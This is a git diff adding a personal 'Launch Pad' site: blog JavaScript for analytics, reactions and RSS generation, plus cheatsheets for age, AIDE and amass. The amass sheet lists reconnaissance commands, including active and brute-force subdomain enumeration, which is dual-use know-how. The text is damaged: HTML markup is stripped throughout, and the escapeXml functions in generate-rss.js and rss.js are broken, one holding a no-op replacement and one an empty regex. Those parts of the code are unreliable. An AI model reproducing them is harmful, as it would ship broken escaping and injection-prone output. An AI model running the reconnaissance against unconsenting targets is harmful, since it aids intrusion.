+ + + + + + diff --git a/blog/js/analytics.js b/blog/js/analytics.js new file mode 100644 index 0000000..3d45fc3 --- /dev/null +++ b/blog/js/analytics.js @@ -0,0 +1,56 @@ +// Analytics tracking +(function() { + // Generate or retrieve visitor ID + function getVisitorId() { + let visitorId = localStorage.getItem('visitorId'); + if (!visitorId) { + visitorId = 'visitor_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9); + localStorage.setItem('visitorId', visitorId); + } + return visitorId; + } + + // Track page view + function trackPageView() { + const visitorId = getVisitorId(); + const page = window.location.pathname + window.location.hash; + + fetch('/api/track.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + type: 'pageview', + page: page, + visitorId: visitorId + }) + }).catch(err => console.error('Analytics error:', err)); + } + + // Track page view on load + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', trackPageView); + } else { + trackPageView(); + } + + // Track RSS link clicks + const rssLink = document.getElementById('rssLink'); + if (rssLink) { + rssLink.addEventListener('click', function() { + const visitorId = getVisitorId(); + fetch('/api/track.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + type: 'rss_click', + page: '/blog/feed.xml', + visitorId: visitorId + }) + }).catch(err => console.error('RSS tracking error:', err)); + }); + } +})(); diff --git a/blog/js/blog.js b/blog/js/blog.js new file mode 100644 index 0000000..d4faf2c --- /dev/null +++ b/blog/js/blog.js @@ -0,0 +1,61 @@ +// Summon the blog posts from their JSON tomb +async function loadBlogPosts() { + try { + // Use relative path - this should work when blog.js is loaded from /blog/index.html + const apiPath = 'api/posts.php'; + + const response = await fetch(apiPath); + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + const posts = await response.json(); + + // Validate that we got an array + if (!Array.isArray(posts)) { + throw new Error('Invalid response format: expected array'); + } + + const container = document.getElementById("blogPostsContainer"); + if (!container) { + throw new Error('Blog posts container not found'); + } + + // Newest first - we're not savages reading in chronological order + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Out with the old (loading message probably) + container.innerHTML = ''; + + if (sortedPosts.length === 0) { + container.innerHTML = '

No blog posts found. Add some posts to get started!

'; + return; + } + + sortedPosts.forEach(post => { + const postElement = document.createElement('div'); + postElement.className = 'blog-post-preview'; + postElement.id = `post-preview-${post.id}`; + + postElement.innerHTML = ` +

${post.title}

+ +

${post.excerpt}

+ Read more → + `; + + container.appendChild(postElement); + }); + + } catch (error) { + console.error('Error loading blog posts:', error); + const container = document.getElementById("blogPostsContainer"); + if (container) { + container.innerHTML = + '

Error loading blog posts. Make sure you\'re running a PHP server and the posts.json file exists.

'; + } + // Fail gracefully - no one likes a drama queen + } +} + +// Start the blog parade when the page finishes loading +window.addEventListener('load', loadBlogPosts); diff --git a/blog/js/generate-rss.js b/blog/js/generate-rss.js new file mode 100755 index 0000000..6e2289b --- /dev/null +++ b/blog/js/generate-rss.js @@ -0,0 +1,71 @@ +#!/usr/bin/env node +// Script to generate RSS feed from blog-posts.json +const fs = require('fs'); +const path = require('path'); + +const postsPath = path.join(__dirname, 'blog-posts.json'); +const feedPath = path.join(__dirname, 'feed.xml'); + +try { + const posts = JSON.parse(fs.readFileSync(postsPath, 'utf8')); + + // Sort posts by date (newest first) + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Escape XML special characters + const escapeXml = (str) => { + if (!str) return ''; + return str.toString() + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + + // Convert content newlines to HTML breaks + const formatContent = (content) => { + return content.split('\n\n') + .map(p => p.trim()) + .filter(p => p.length > 0) + .join('

'); + }; + + // Generate RSS items + const rssItems = sortedPosts.map(post => { + const title = escapeXml(post.title); + const excerpt = escapeXml(post.excerpt); + const content = formatContent(post.content); + const pubDate = new Date(post.date + 'T00:00:00Z').toUTCString(); + const link = `https://example.com/blog/post.html?id=${post.id}`; + + return ` + ${title} + ${link} + ${link} + ${pubDate} +
${content}]]>
+
`; + }).join('\n'); + + // Generate RSS XML + const rssXml = ` + + + My Blog + https://example.com/blog + Blog posts + en-us + ${new Date().toUTCString()} + +${rssItems} + +`; + + // Write RSS feed file + fs.writeFileSync(feedPath, rssXml, 'utf8'); + console.log('RSS feed generated successfully at', feedPath); +} catch (error) { + console.error('Error generating RSS feed:', error); + process.exit(1); +} diff --git a/blog/js/post.js b/blog/js/post.js new file mode 100644 index 0000000..b814112 --- /dev/null +++ b/blog/js/post.js @@ -0,0 +1,122 @@ +// Load and display a single blog post +async function loadBlogPost() { + try { + // Use relative path - this should work when post.js is loaded from /blog/post.html + const apiPath = 'api/posts.php'; + + const response = await fetch(apiPath); + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + const posts = await response.json(); + + // Validate that we got an array + if (!Array.isArray(posts)) { + throw new Error('Invalid response format: expected array'); + } + + // Get post ID from URL query parameter + const urlParams = new URLSearchParams(window.location.search); + const postId = parseInt(urlParams.get('id')); + + if (isNaN(postId)) { + document.getElementById('blogPostContainer').innerHTML = + '

Invalid post ID. Please select a post from the sidebar.

'; + loadSidebarNavigation(posts); + return; + } + + // Find the post + const post = posts.find(p => p.id === postId); + + if (!post) { + document.getElementById('blogPostContainer').innerHTML = + '

Post not found. Please select a post from the sidebar.

'; + loadSidebarNavigation(posts); + return; + } + + // Update page title + const pageTitleEl = document.getElementById('pageTitle'); + if (pageTitleEl) { + pageTitleEl.textContent = `${post.title} - Launch Pad`; + } + const blogPostTitleEl = document.getElementById('blogPostTitle'); + if (blogPostTitleEl) { + blogPostTitleEl.textContent = `Post-${post.id}`; + } + + // Convert content newlines to paragraphs + const contentParagraphs = post.content.split('\n\n').filter(p => p.trim().length > 0); + const formattedContent = contentParagraphs.map(p => `

${p.trim()}

`).join(''); + + const container = document.getElementById('blogPostContainer'); + container.innerHTML = ` +
+

${post.title}

+ +

${post.excerpt}

+
${formattedContent}
+
+ ${window.blogReactions ? window.blogReactions.createReactionButtons(post.id) : ''} +

-- Author --

+ ${window.blogReactions ? window.blogReactions.createShareButtons(post.id) : ''} +
+
+ `; + + // Load reactions for this post + if (window.blogReactions) { + window.blogReactions.loadReactions(post.id); + } + + // Load sidebar navigation + loadSidebarNavigation(posts, postId); + + // Align blog-sidebar top with blog-post-container top + setTimeout(() => { + const blogPostContainer = document.getElementById('blogPostContainer'); + const blogSidebar = document.getElementById('blogSidebar'); + if (blogPostContainer && blogSidebar) { + const containerTop = blogPostContainer.getBoundingClientRect().top; + const layoutTop = blogPostContainer.closest('.blog-layout').getBoundingClientRect().top; + const offset = containerTop - layoutTop; + blogSidebar.style.marginTop = offset + 'px'; + } + }, 100); + + } catch (error) { + console.error('Error loading blog post:', error); + document.getElementById('blogPostContainer').innerHTML = + '

Error loading blog post. Please try again later.

'; + } +} + +// Load sidebar navigation with all posts +function loadSidebarNavigation(posts, currentPostId = null) { + const sidebarNav = document.getElementById('sidebarNav'); + + // Sort posts by date (newest first) + const sortedPosts = [...posts].sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Clear existing navigation + sidebarNav.innerHTML = ''; + + sortedPosts.forEach(post => { + const navItem = document.createElement('a'); + navItem.href = `post.html?id=${post.id}`; + navItem.className = 'sidebar-post-link'; + navItem.textContent = `Post-${post.id}`; + + // Highlight current post + if (currentPostId !== null && post.id === currentPostId) { + navItem.classList.add('active'); + } + + navItem.title = post.title; + sidebarNav.appendChild(navItem); + }); +} + +// Load post when page loads +window.addEventListener('load', loadBlogPost); diff --git a/blog/js/reactions.js b/blog/js/reactions.js new file mode 100644 index 0000000..dcdb227 --- /dev/null +++ b/blog/js/reactions.js @@ -0,0 +1,200 @@ +// Reaction and share functionality +(function() { + // Generate or retrieve visitor ID + function getVisitorId() { + let visitorId = localStorage.getItem('visitorId'); + if (!visitorId) { + visitorId = 'visitor_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9); + localStorage.setItem('visitorId', visitorId); + } + return visitorId; + } + + // Load reactions for a post + async function loadReactions(postId) { + try { + const response = await fetch(`/api/reaction.php?postId=${postId}`); + const data = await response.json(); + if (data.success) { + updateReactionButtons(postId, data.counts); + } + } catch (error) { + console.error('Error loading reactions:', error); + } + } + + // Send reaction + async function sendReaction(postId, reaction) { + const visitorId = getVisitorId(); + try { + const response = await fetch('/api/reaction.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + postId: postId, + reaction: reaction, + visitorId: visitorId + }) + }); + + if (!response.ok) { + console.error('API error:', response.status, response.statusText); + return; + } + + const data = await response.json(); + console.log('Reaction response:', data); // Debug log + + if (data.success && data.counts) { + updateReactionButtons(postId, data.counts); + } else { + console.error('Invalid response:', data); + } + } catch (error) { + console.error('Error sending reaction:', error); + } + } + + // Update reaction button displays + function updateReactionButtons(postId, counts) { + const container = document.querySelector(`#post-${postId} .reactions-buttons`); + if (!container) return; + + ['like', 'love', 'helpful'].forEach(reaction => { + const button = container.querySelector(`.reaction-btn[data-reaction="${reaction}"]`); + if (button) { + const count = counts[reaction] || 0; + const countSpan = button.querySelector('.reaction-count'); + if (countSpan) { + countSpan.textContent = count; + } + } + }); + } + + // Track share event + async function trackShare(postId, platform) { + const visitorId = getVisitorId(); + try { + await fetch('/api/track.php', { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + }, + body: JSON.stringify({ + type: 'share', + page: `/blog/post.html?id=${postId}`, + visitorId: visitorId, + platform: platform + }) + }); + } catch (error) { + console.error('Error tracking share:', error); + } + } + + // Inline SVG icons - using currentColor for theme support + const iconSVGs = { + like: '', + love: '', + helpful: '', + mastodon: '', + bluesky: '', + copy: '' + }; + + // Create reaction buttons HTML + function createReactionButtons(postId) { + return ` +
+
React
+
+ + + +
+
+ `; + } + + // Create share buttons HTML + function createShareButtons(postId) { + return ` + + `; + } + + // Handle reaction clicks + document.addEventListener('click', function(e) { + if (e.target.closest('.reaction-btn')) { + const button = e.target.closest('.reaction-btn'); + const postId = button.dataset.post; + const reaction = button.dataset.reaction; + sendReaction(postId, reaction); + } + }); + + // Handle share clicks + document.addEventListener('click', function(e) { + if (e.target.closest('.share-btn')) { + const button = e.target.closest('.share-btn'); + const platform = button.dataset.platform; + const postId = button.dataset.post; + const postTitle = document.querySelector(`#post-${postId} .blog-post-title`)?.textContent || ''; + // Construct URL without port (for .onion compatibility) + const origin = window.location.protocol + '//' + window.location.hostname; + const url = origin + '/blog/post.html?id=' + postId; + + if (platform === 'mastodon') { + trackShare(postId, 'mastodon'); + // Open Mastodon share - user can paste the URL + const mastodonUrl = `https://defcon.social/share?text=${encodeURIComponent(postTitle + ' ' + url)}`; + window.open(mastodonUrl, '_blank', 'width=550,height=420'); + } else if (platform === 'bluesky') { + trackShare(postId, 'bluesky'); + // Open Bluesky share + const blueskyUrl = `https://bsky.app/intent/compose?text=${encodeURIComponent(postTitle + ' ' + url)}`; + window.open(blueskyUrl, '_blank', 'width=550,height=420'); + } else if (platform === 'copy') { + trackShare(postId, 'copy'); + navigator.clipboard.writeText(url).then(() => { + const icon = button.querySelector('.share-icon-img'); + if (icon) { + const originalHTML = icon.outerHTML; + const isDarkMode = document.documentElement.getAttribute('data-theme') === 'dark'; + const checkColor = isDarkMode ? '#59C99C' : 'currentColor'; + icon.outerHTML = ``; + setTimeout(() => { + const checkIcon = button.querySelector('.share-icon-img'); + if (checkIcon) { + checkIcon.outerHTML = originalHTML; + } + }, 2000); + } + }); + } + } + }); + + // Export functions for use in blog.js + window.blogReactions = { + createReactionButtons: createReactionButtons, + createShareButtons: createShareButtons, + loadReactions: loadReactions + }; +})(); diff --git a/blog/js/rss.js b/blog/js/rss.js new file mode 100644 index 0000000..b521c32 --- /dev/null +++ b/blog/js/rss.js @@ -0,0 +1,106 @@ +// Generate RSS feed from blog posts +async function generateRSSFeed() { + try { + const response = await fetch('/blog/blog-posts.json'); + const posts = await response.json(); + + // Sort posts by date (newest first) + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + // Build RSS XML + const rssItems = sortedPosts.map(post => { + // Escape HTML in content for XML + const escapeXml = (str) => { + return str.replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + + const content = escapeXml(post.content); + const title = escapeXml(post.title); + const excerpt = escapeXml(post.excerpt); + const pubDate = new Date(post.date).toUTCString(); + + return ` + ${title} + https://example.com/blogpost.html?id=${post.id} + https://example.com/blogpost.html?id=${post.id} + ${pubDate} +
${content}]]>
+
`; + }).join('\n'); + + const rssXml = ` + + + My Blog + https://example.com/blog + Blog posts + en-us + ${new Date().toUTCString()} + +${rssItems} + +`; + + return rssXml; + } catch (error) { + console.error('Error generating RSS feed:', error); + return null; + } +} + +// If this script is run directly (not imported), generate and serve the feed +if (typeof window === 'undefined') { + // Node.js environment - generate RSS file + const fs = require('fs'); + const path = require('path'); + + async function writeRSSFile() { + const posts = JSON.parse(fs.readFileSync(path.join(__dirname, 'blog-posts.json'), 'utf8')); + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + const escapeXml = (str) => { + return str.replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + + const rssItems = sortedPosts.map(post => { + const content = escapeXml(post.content); + const title = escapeXml(post.title); + const excerpt = escapeXml(post.excerpt); + const pubDate = new Date(post.date).toUTCString(); + + return ` + ${title} + https://example.com/blogpost.html?id=${post.id} + https://example.com/blogpost.html?id=${post.id} + ${pubDate} +
${content}]]>
+
`; + }).join('\n'); + + const rssXml = ` + + + My Blog + https://example.com/blog + Blog posts + en-us + ${new Date().toUTCString()} + +${rssItems} + +`; + + fs.writeFileSync(path.join(__dirname, 'feed.xml'), rssXml, 'utf8'); + console.log('RSS feed generated successfully'); + } + + writeRSSFile(); +} diff --git a/blog/post.html b/blog/post.html new file mode 100644 index 0000000..3961b1e --- /dev/null +++ b/blog/post.html @@ -0,0 +1,61 @@ + + + + + + + + + + + + Blog Post - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+ +
+
+
+ + + +

Loading...

+
+
+
+ +
+
+
+ + + + + + diff --git a/cheatsheets/age.html b/cheatsheets/age.html new file mode 100644 index 0000000..b7f85e2 --- /dev/null +++ b/cheatsheets/age.html @@ -0,0 +1,157 @@ + + + + + + + + + + + age Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

age Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

age is a simple, modern file encryption tool. It's designed to replace GPG for file encryption with a simpler, safer design. Uses modern cryptography (X25519, ChaCha20Poly1305, HKDF).

+
+

Key Generation

+
    +
  • age-keygen -o key.txt - Generate a new keypair
  • +
+
    +
  • age-keygen -y key.txt - Extract public key from keypair
  • +
+
    +
  • Public key format: age1...
  • +
+
    +
  • Private key format: AGE-SECRET-KEY-1...
  • +
+
+

Encryption

+
    +
  • age -r age1... -o encrypted.age file.txt - Encrypt with recipient public key
  • +
+
    +
  • age -r age1... -r age1... file.txt - Encrypt to multiple recipients
  • +
+
    +
  • age -p -o encrypted.age file.txt - Encrypt with passphrase
  • +
+
    +
  • cat file.txt | age -r age1... > encrypted.age - Encrypt from stdin
  • +
+
+

Decryption

+
    +
  • age -d -i key.txt -o decrypted.txt encrypted.age - Decrypt with key file
  • +
+
    +
  • age -d encrypted.age - Decrypt with passphrase (prompts)
  • +
+
    +
  • age -d -i key.txt encrypted.age - Decrypt to stdout
  • +
+
    +
  • cat encrypted.age | age -d -i key.txt - Decrypt from stdin
  • +
+
+

Options

+
    +
  • -r, --recipient - Recipient public key (can use multiple times)
  • +
+
    +
  • -i, --identity - Identity (private key) file
  • +
+
    +
  • -o, --output - Output file
  • +
+
    +
  • -p, --passphrase - Encrypt with passphrase instead of key
  • +
+
    +
  • -d, --decrypt - Decrypt mode
  • +
+
    +
  • -y, --yubikey - Use YubiKey for decryption
  • +
+
+

Common Examples

+

Generate Keypair

+
age-keygen -o ~/.age/key.txt
+

Create a new keypair and save to file.

+

Encrypt File

+
age -r age1abc123... -o secret.age secret.txt
+

Encrypt file to recipient.

+

Decrypt File

+
age -d -i ~/.age/key.txt -o secret.txt secret.age
+

Decrypt file with private key.

+

Passphrase Encryption

+
age -p -o backup.age backup.tar.gz
+

Encrypt with passphrase (no key needed).

+

Multiple Recipients

+
age -r age1... -r age1... -o shared.age document.txt
+

Encrypt so multiple people can decrypt.

+
+

Tips

+
    +
  • age is simpler and faster than GPG for file encryption
  • +
+
    +
  • Public keys are safe to share (age1... format)
  • +
+
    +
  • Keep private keys secure (AGE-SECRET-KEY-1... format)
  • +
+
    +
  • Use passphrase mode for quick encryption without key management
  • +
+
    +
  • Multiple recipients can decrypt the same file
  • +
+
    +
  • Great for encrypting backups, secrets, and sensitive files
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/aide.html b/cheatsheets/aide.html new file mode 100644 index 0000000..7f58eb6 --- /dev/null +++ b/cheatsheets/aide.html @@ -0,0 +1,417 @@ + + + + + + + + + + + AIDE Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

AIDE Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

AIDE (Advanced Intrusion Detection Environment) is a file and directory integrity checker. It creates a baseline database of file attributes and can detect unauthorized changes to protected files and directories.

+
+

Installation

+
    +
  • apt install aide - Install on Debian/Ubuntu
  • +
+
    +
  • yum install aide - Install on RHEL/CentOS
  • +
+
    +
  • dnf install aide - Install on Fedora
  • +
+
    +
  • pacman -S aide - Install on Arch Linux
  • +
+
+

Initial Setup

+
    +
  • aide --init - Initialize AIDE database
  • +
+
    +
  • mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db - Rename database to make it active
  • +
+
    +
  • aideinit - Initialize AIDE (Ubuntu/Debian helper script)
  • +
+
+

Checking Integrity

+
    +
  • aide --check - Run integrity check
  • +
+
    +
  • aide --check --report=file:/var/log/aide/report.log - Check and save report to file
  • +
+
    +
  • aide -C - Check (same as --check)
  • +
+
    +
  • aide --check | tee /var/log/aide/aide-check.log - Check and display output
  • +
+
    +
  • aide --check --config=/etc/aide/aide.conf - Use specific config file
  • +
+
+

Updating Database

+
    +
  • aide --update - Update database after legitimate changes
  • +
+
    +
  • mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db - Make updated database active
  • +
+
    +
  • aideinit -y - Update database (Ubuntu/Debian, auto-confirm)
  • +
+
+

Configuration File

+
    +
  • /etc/aide/aide.conf - Main configuration file
  • +
+
    +
  • /etc/aide/aide.conf.d/ - Configuration directory (some distributions)
  • +
+
    +
  • aide --config-check - Check configuration file syntax
  • +
+

Configuration Syntax

+
# Define a rule name
+RuleName = p+i+n+u+g+s+m+c+md5+sha256
+
+# Monitor a directory
+/etc RuleName
+
+# Monitor specific file
+/etc/passwd RuleName
+
+# Exclude patterns
+!/etc/mtab
+!/var/log
+!/proc
+!/sys
+!/tmp
+!/var/tmp
+
+# Use predefined rules
+/etc p+u+g
+/bin p+u+g+i+n
+
+

Rule Attributes

+
    +
  • p - Permissions
  • +
+
    +
  • i - Inode
  • +
+
    +
  • n - Number of links
  • +
+
    +
  • u - User (owner)
  • +
+
    +
  • g - Group
  • +
+
    +
  • s - Size
  • +
+
    +
  • b - Block count
  • +
+
    +
  • m - mtime (modification time)
  • +
+
    +
  • a - atime (access time)
  • +
+
    +
  • c - ctime (inode change time)
  • +
+
    +
  • S - Growing size
  • +
+
    +
  • md5 - MD5 checksum
  • +
+
    +
  • sha1 - SHA1 checksum
  • +
+
    +
  • sha256 - SHA256 checksum
  • +
+
    +
  • sha512 - SHA512 checksum
  • +
+
    +
  • rmd160 - RIPEMD160 checksum
  • +
+
    +
  • tiger - Tiger checksum
  • +
+
    +
  • haval - Haval checksum
  • +
+
    +
  • gost - GOST checksum
  • +
+
    +
  • crc32 - CRC32 checksum
  • +
+
    +
  • E - Extended attributes
  • +
+
    +
  • I - Immutable bits
  • +
+
    +
  • l - Link name
  • +
+
    +
  • xattrs - Extended attributes (filesystem dependent)
  • +
+
    +
  • selinux - SELinux context
  • +
+
    +
  • acl - Access Control Lists
  • +
+
+

Common Configuration Examples

+

Monitor Critical System Files

+
# Critical system directories
+/etc            p+i+n+u+g+s+m+c+sha256
+/bin            p+i+n+u+g+s+m+c+sha256
+/sbin           p+i+n+u+g+s+m+c+sha256
+/usr/bin        p+i+n+u+g+s+m+c+sha256
+/usr/sbin       p+i+n+u+g+s+m+c+sha256
+/lib            p+i+n+u+g+s+m+c+sha256
+/lib64          p+i+n+u+g+s+m+c+sha256
+/usr/lib        p+i+n+u+g+s+m+c+sha256
+
+# Important configuration files
+/etc/passwd     p+i+n+u+g+s+m+c+sha256
+/etc/shadow     p+i+n+u+g+s+m+c+sha256
+/etc/group      p+i+n+u+g+s+m+c+sha256
+/etc/sudoers    p+i+n+u+g+s+m+c+sha256
+/etc/ssh/sshd_config p+i+n+u+g+s+m+c+sha256
+

Exclude Directories

+
# Exclude temporary and dynamic directories
+!/tmp
+!/var/tmp
+!/proc
+!/sys
+!/dev
+!/run
+!/var/run
+!/var/log
+!/var/cache
+!/var/lib/dpkg
+!/var/lib/apt
+

Web Server Example

+
# Monitor web root
+/var/www        p+i+n+u+g+s+m+c+sha256
+
+# Monitor web server config
+/etc/apache2    p+i+n+u+g+s+m+c+sha256
+/etc/nginx      p+i+n+u+g+s+m+c+sha256
+
+# Exclude logs
+!/var/www/logs
+!/var/log/apache2
+!/var/log/nginx
+
+

Database Files

+
    +
  • /var/lib/aide/aide.db - Active integrity database
  • +
+
    +
  • /var/lib/aide/aide.db.new - New database (after --update or --init)
  • +
+
    +
  • /var/lib/aide/aide.db.gz - Compressed database
  • +
+
    +
  • /var/lib/aide/aide.db.new.gz - Compressed new database
  • +
+
+

Automated Checks

+

Cron Job Example

+
# Daily AIDE check
+0 2 * * * /usr/bin/aide --check | mail -s "AIDE Report $(hostname)" admin@example.com
+
+# Weekly AIDE check with logging
+0 3 * * 0 /usr/bin/aide --check --report=file:/var/log/aide/check-$(date +\%Y\%m\%d).log
+

Systemd Timer Example

+
# /etc/systemd/system/aide-check.service
+[Unit]
+Description=AIDE Integrity Check
+After=network.target
+
+[Service]
+Type=oneshot
+ExecStart=/usr/bin/aide --check
+StandardOutput=journal
+StandardError=journal
+
+# /etc/systemd/system/aide-check.timer
+[Unit]
+Description=Run AIDE check daily
+Requires=aide-check.service
+
+[Timer]
+OnCalendar=daily
+Persistent=true
+
+[Install]
+WantedBy=timers.target
+
+

Interpreting Results

+
    +
  • Total number of files - Files in database
  • +
+
    +
  • Added files - New files detected (not in database)
  • +
+
    +
  • Removed files - Files missing (in database but not on disk)
  • +
+
    +
  • Changed files - Files with modified attributes
  • +
+
+

Updating After Legitimate Changes

+
# After installing packages, updating configs, etc.
+# 1. Run update to create new database
+aide --update
+
+# 2. Review changes in aide.db.new
+aide --diff --config=/etc/aide/aide.conf
+
+# 3. If changes are legitimate, activate new database
+mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
+
+# 4. Optionally compress old database
+gzip /var/lib/aide/aide.db.old
+
+

Comparing Databases

+
    +
  • aide --diff - Compare database with current system state
  • +
+
    +
  • aide --compare=/path/to/old/aide.db - Compare with specific database
  • +
+
+

Verbose Output

+
    +
  • aide --check -V - Verbose output
  • +
+
    +
  • aide --check --verbose - Verbose output (long form)
  • +
+
    +
  • aide --check -u - Update mode (shows what would be updated)
  • +
+
+

Limiting Checks

+
    +
  • aide --check --limit /etc - Check only /etc directory
  • +
+
    +
  • aide --check --limit /etc/passwd - Check specific file
  • +
+
+

Tips

+
    +
  • Initialize AIDE database on a clean, trusted system
  • +
+
    +
  • Store database backup on read-only media or remote location
  • +
+
    +
  • Use strong checksums (sha256/sha512) for better security
  • +
+
    +
  • Regularly update database after legitimate system changes
  • +
+
    +
  • Automate integrity checks with cron or systemd timers
  • +
+
    +
  • Review and investigate all reported changes immediately
  • +
+
    +
  • Exclude frequently changing directories (/tmp, /var/log, etc.)
  • +
+
    +
  • Monitor critical system binaries and configuration files
  • +
+
    +
  • Keep multiple database backups for forensic analysis
  • +
+
    +
  • Use compressed databases to save disk space
  • +
+
    +
  • Test configuration with --config-check before initialization
  • +
+
    +
  • Use verbose mode when investigating changes
  • +
+
    +
  • Combine AIDE with auditd for comprehensive file monitoring
  • +
+
    +
  • Document all legitimate changes before updating database
  • +
+
    +
  • Set up email alerts for automated integrity checks
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/amass.html b/cheatsheets/amass.html new file mode 100644 index 0000000..ffd3ae1 --- /dev/null +++ b/cheatsheets/amass.html @@ -0,0 +1,234 @@ + + + + + + + + + + + amass Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

amass Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Amass is an OWASP project for in-depth attack surface mapping and asset discovery using open source information gathering and active reconnaissance techniques.

+
+

Subcommands

+
    +
  • amass intel - Discover targets for enumeration
  • +
+
    +
  • amass enum - Perform subdomain enumeration
  • +
+
    +
  • amass viz - Visualize enumeration results
  • +
+
    +
  • amass track - Track differences between enumerations
  • +
+
    +
  • amass db - Manage the graph database
  • +
+
+

Intel Subcommand

+
    +
  • amass intel -d <domain> - Basic intel gathering
  • +
+
    +
  • amass intel -whois -d <domain> - Reverse WHOIS lookup
  • +
+
    +
  • amass intel -org <organization> - Find ASNs by organization
  • +
+
    +
  • amass intel -asn <asn> - Get info about an ASN
  • +
+
    +
  • amass intel -ip <ip> - Discover domains from IP
  • +
+
    +
  • amass intel -cidr <cidr> - Discover domains from CIDR
  • +
+
+

Enum Subcommand - Basic

+
    +
  • amass enum -d <domain> - Basic passive enumeration
  • +
+
    +
  • amass enum -passive -d <domain> - Passive only (no DNS resolution)
  • +
+
    +
  • amass enum -active -d <domain> - Active enumeration (zone transfers, etc.)
  • +
+
    +
  • amass enum -brute -d <domain> - Brute force subdomain enumeration
  • +
+
    +
  • amass enum -d <domain> -o output.txt - Save results to file
  • +
+
+

Enum Subcommand - Advanced

+
    +
  • amass enum -d <domain> -src - Show data sources
  • +
+
    +
  • amass enum -d <domain> -ip - Show IP addresses
  • +
+
    +
  • amass enum -d <domain> -ipv4 - Show only IPv4 addresses
  • +
+
    +
  • amass enum -d <domain> -ipv6 - Show only IPv6 addresses
  • +
+
    +
  • amass enum -d <domain> -r <resolver> - Use custom resolver
  • +
+
    +
  • amass enum -d <domain> -rf resolvers.txt - Use resolver file
  • +
+
    +
  • amass enum -d <domain> -w wordlist.txt - Custom wordlist for brute
  • +
+
    +
  • amass enum -d <domain> -max-dns-queries 200 - Limit DNS queries/sec
  • +
+
+

Configuration

+
    +
  • amass enum -config config.ini -d <domain> - Use config file
  • +
+
    +
  • amass enum -list - List all data sources
  • +
+

Config File Location

+
    +
  • ~/.config/amass/config.yaml - Default config location
  • +
  • ~/.config/amass/datasources.yaml - Data sources config
  • +
+

Example datasources.yaml

+
datasources:
+  - name: SecurityTrails
+    creds:
+      apikey: your_api_key_here
+  - name: Shodan
+    creds:
+      apikey: your_api_key_here
+
+

Database Operations

+
    +
  • amass db -list - List all enumerations
  • +
+
    +
  • amass db -d <domain> -show - Show stored data for domain
  • +
+
    +
  • amass db -d <domain> -names - List discovered names
  • +
+
    +
  • amass db -d <domain> -ip - Show IP addresses
  • +
+
+

Visualization

+
    +
  • amass viz -d <domain> -d3 - Generate D3.js visualization
  • +
+
    +
  • amass viz -d <domain> -gexf - Generate GEXF file (Gephi)
  • +
+
    +
  • amass viz -d <domain> -graphistry - Generate Graphistry JSON
  • +
+
    +
  • amass viz -d <domain> -maltego - Generate Maltego output
  • +
+
+

Tracking Changes

+
    +
  • amass track -d <domain> - Track differences between runs
  • +
+
    +
  • amass track -d <domain> -history - Show enumeration history
  • +
+
    +
  • amass track -d <domain> -since "2024-01-01" - Changes since date
  • +
+
+

Common Examples

+

Full Passive Enumeration

+
amass enum -passive -d example.com -src -ip -o results.txt
+

Passive enumeration showing sources and IPs.

+

Aggressive Active Scan

+
amass enum -active -brute -d example.com -w wordlist.txt -o results.txt
+

Active scan with brute forcing.

+

Quick Reconnaissance

+
amass intel -whois -d example.com
+

Discover related domains via WHOIS.

+
+

Tips

+
    +
